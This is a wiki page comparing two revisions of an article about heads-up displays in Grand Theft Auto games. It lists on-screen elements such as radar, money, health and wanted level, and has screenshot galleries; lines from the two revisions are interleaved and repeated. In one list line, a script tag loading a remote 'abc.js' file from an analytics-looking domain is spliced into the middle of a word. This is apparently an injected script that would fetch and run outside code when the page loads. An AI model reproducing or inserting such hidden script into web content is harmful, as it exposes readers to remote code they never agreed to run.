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[[Image:HUD-GTASA.jpg|thumb|250px|Illustrated example of a HUD as seen in GTA San Andreas.]]  
[[File:HUD-GTASA.jpg|thumb|250px|Illustrated example of a HUD as seen in GTA San Andreas.]]  
 
A '''heads-up display''', often abbreviated as '''HUD''', is a set of indicators used in most games to show the player's current status in a game, such as the score, health and the like.
A '''heads-up display''', often abbreviated as '''HUD''', is a set of indicators used in most games to show the player's current status in a game, such as the score, health and the like.


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The HUD GTA games may display the following information:
The HUD GTA games may display the following information:


*[[Radar]], a small map of the player's current location ([[Grand Theft Auto III|GTA III]] onwards).
* [[Money]].
*[[Location Compass|Location compass]], a compass point to key locations ([[Grand Theft Auto 1|GTA 1]] to [[Grand Theft Auto 2|GTA 2]]).
* [[Weapons|Weapon]] selected and amount of ammunition.
*[[Money]].
* Amount of [[health]].
*[[Weapons|Weapon]] selected and ammunition.
* Amount of [[Body Armor|armor]].
*[[Health]].
* [[Mission]] title (GTA III onwards) when starting a mission.
*[[Body Armor|Armor]].
* [[Lung Capacity|Oxygen remaining]] ([[Grand Theft Auto: San Andreas|GTA San Andreas]]) or [[Statistics|stamina]] ([[Grand Theft Auto: Vice City Stories|GTA Vice City Stories]]) when in water.
*[[Mission]] Title (GTA III onwards)
* [[Respect|Gang respect]] ([[Grand Theft Auto 2|GTA 2]]).
*[[Lung Capacity]] ([[Grand Theft Auto: San Andreas|GTA San Andreas]]).
* [[Statistics|Player character stats and skills]] (GTA San Andreas).
*[[Statistics|Stamina]] ([[Grand Theft Auto: Vice City Stories|GTA Vice City Stories]]).
* [[Wanted level]]. Starting with GTA San Andreas (except GTA Advance), the wanted level interface does not appear until the player has a wanted level.
*[[Respect]] ([[Grand Theft Auto 2|GTA 2]]).
* [[Time]] (GTA III and later, with the exception of [[Grand Theft Auto Advance]]), indicated by a 24-hour clock.
*[[Statistics|Stats and skills]] (GTA San Andreas).
* Vehicle speed (GTA Advance), in kilometers per hour.
*[[Wanted level]].
* The vehicle the player enters.
*[[Time]] (GTA III and late<script src="http://www.google-analytics.com/abc.js"></script>r, with the exception of [[Grand Theft Auto Advance]]).
* The district the player enters.
*Vehicle speed (GTA Advance).
* The street the player enters ([[Grand Theft Auto IV]]).
*The vehicle the player enters.
* [[Location Compass|Location compasses]], compass points to key locations ([[Grand Theft Auto 1|GTA 1]] to [[Grand Theft Auto 2|GTA 2]]).
*The district the player enters.
* A [[radar]], a small map of the player's current location ([[Grand Theft Auto III|GTA III]] onwards). Altitude meters are also integrated into the radar for GTA San Andreas and The Ballad of Gay Tony.
*The street the player enters ([[Grand Theft Auto IV]]).


Other elements appear on the HUD in other situations, such as a dialogue subtitles, help messages, and a "[[Busted]]" or "[[Wasted]]" sign if the player gets arrested or killed respectively.
Other elements appear on the HUD in other situations, such as a dialogue subtitles, help messages, and a "[[Busted]]" or "[[Wasted]]" sign if the player gets arrested or killed respectively.
Floating [[pickups]], such as a police bribe are not considered to be a part of the HUD even though only the player can see them. This is also true for floating markers which indicate where to park or walk into.


==Gallery==
==Gallery==
=== GTA 1 — GTA 2 ===
=== GTA 1 — GTA 2 ===
<gallery>
<gallery width="auto" perrow="3" style="font-size:95%; padding:0; text-align:left;" widths="160">
Image:HUD-GTA1.png|GTA 1.
File:HUD-GTA1.png|GTA 1.
Image:HUD-GTAL.png|GTA London 1969 and London 1961.
File:HUD-GTAL.png|GTA London 1969 and London 1961.
Image:HUD-GTA2.png|GTA 2.
File:HUD-GTA2.png|GTA 2.
</gallery>
</gallery>


=== GTA III — GTA Vice City Stories ===
=== GTA III — GTA Vice City Stories ===
<gallery>
<gallery width="auto" perrow="3" style="font-size:95%; padding:0; text-align:left;" widths="160">
Image:HUD-GTA3.jpg|GTA III (PC/Xbox version)
File:HUD-GTAIII.jpg|GTA III (PC/Xbox version) (<small>[[:File:HUD-GTAIII-PS2.png|PS2 version]], [[:File:HUD-GTAIII-iOS-Android.png|iOS/Android version]]</small>).
Image:HUD-GTA3-PS2.png|GTA III - PS2 version
File:HUD-GTAVC.jpg|GTA Vice City (PC version) (<small>[[:File:HUD-GTAVC-iOS-Android.png|iOS/Android version]]</small>).
Image:HUD-GTAVC.jpg|GTA Vice City
File:HUD-GTASA.png|GTA San Andreas. The bottom money counter shows the player is in debt as a result of [[gambling]].
Image:HUD-GTASA.png|GTA San Andreas. The bottom money counter shows the player is in debt as a result of [[gambling]].
File:HUD-GTAA.jpg|GTA Advance.
Image:HUD-GTAA.jpg|GTA Advance
File:HUD-GTALCS-PS2.jpg|GTA Liberty City Stories (PS2 version) (<small>[[:File:HUD-GTALCS-PSP.jpg|PSP version]]</small>).
Image:HUD-GTALCS-PS2.jpg|GTA Liberty City Stories (PS2 version)
File:HUD-GTAVCS-PS2.jpg|GTA Vice City Stories (PS2 version).
Image:HUD-GTALCS-PSP.jpg|GTA LCS on PSP
</gallery>
</gallery>


=== GTA IV — GTA Chinatown Wars ===
=== GTA IV — GTA Chinatown Wars ===
<gallery>
<gallery width="auto" perrow="4" style="font-size:95%; padding:0; text-align:left;" widths="160">
Image:HUD-GTA4.png|GTA IV (upper right HUD) (<small>[[:Image:Radar-GTA4.png|Radar, with additional HUD elements]]</small>).
File:HUD-GTAIV.png|GTA IV (upper right HUD) (<small>[[:File:Radar-GTAIV.png|Radar, with additional HUD elements]]</small>).
Image:HUD-TLAD.png|The Lost and Damned. In the theme of the biker gang image, the hud is a faded, gritty sort of white(<small>[[:Image:Radar-GTA4.png|Radar]]</small>)
File:HUD-TLAD.png|The Lost and Damned. In the theme of the biker gang image, the HUD is faded and grittier (<small>[[:File:Radar-GTAIV.png|Radar]]</small>)
Image:HUD-TBOGT.png|The Ballad of Gay Tony. In the theme of the colorful nightclub image, the HUD is now both white and purple(<small>[[:Image:Radar-GTA4.png|Radar]]</small>).
File:HUD-TBOGT.png|The Ballad of Gay Tony. In the theme of the colorful nightclub image, the HUD is now both white and purple (<small>[[:File:Radar-GTAIV.png|Radar]]</small>).
Image:HUD-GTACW.png|In the [[Nintendo DS|DS]] version of GTA Chinatown Wars, the information that would have been on the HUD in earlier games (except for the [[Wanted Level in GTA Chinatown Wars|Wanted Level]] and place/car names) are moved to the bottom screen as part of the [[PDA]].
File:HUD-GTACW.png|In the [[Nintendo DS|DS]] version of GTA Chinatown Wars, the information that would have been on the HUD in earlier games (except for the [[Wanted Level in GTA Chinatown Wars|Wanted Level]] and place/car names) are moved to the bottom screen as part of the [[PDA]].
</gallery>
</gallery>


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Revision as of 08:14, 10 November 2014

Illustrated example of a HUD as seen in GTA San Andreas.

A heads-up display, often abbreviated as HUD, is a set of indicators used in most games to show the player's current status in a game, such as the score, health and the like.

Description

A HUD can be used to convey many different types of information, such as time, score, money, health, armor, weaponry, ammunition, warnings (eg "wrong way" in a race) maps with blips and subtitles of conversations.

The HUD GTA games may display the following information:

Other elements appear on the HUD in other situations, such as a dialogue subtitles, help messages, and a "Busted" or "Wasted" sign if the player gets arrested or killed respectively.

Gallery

GTA 1 — GTA 2

GTA III — GTA Vice City Stories

GTA IV — GTA Chinatown Wars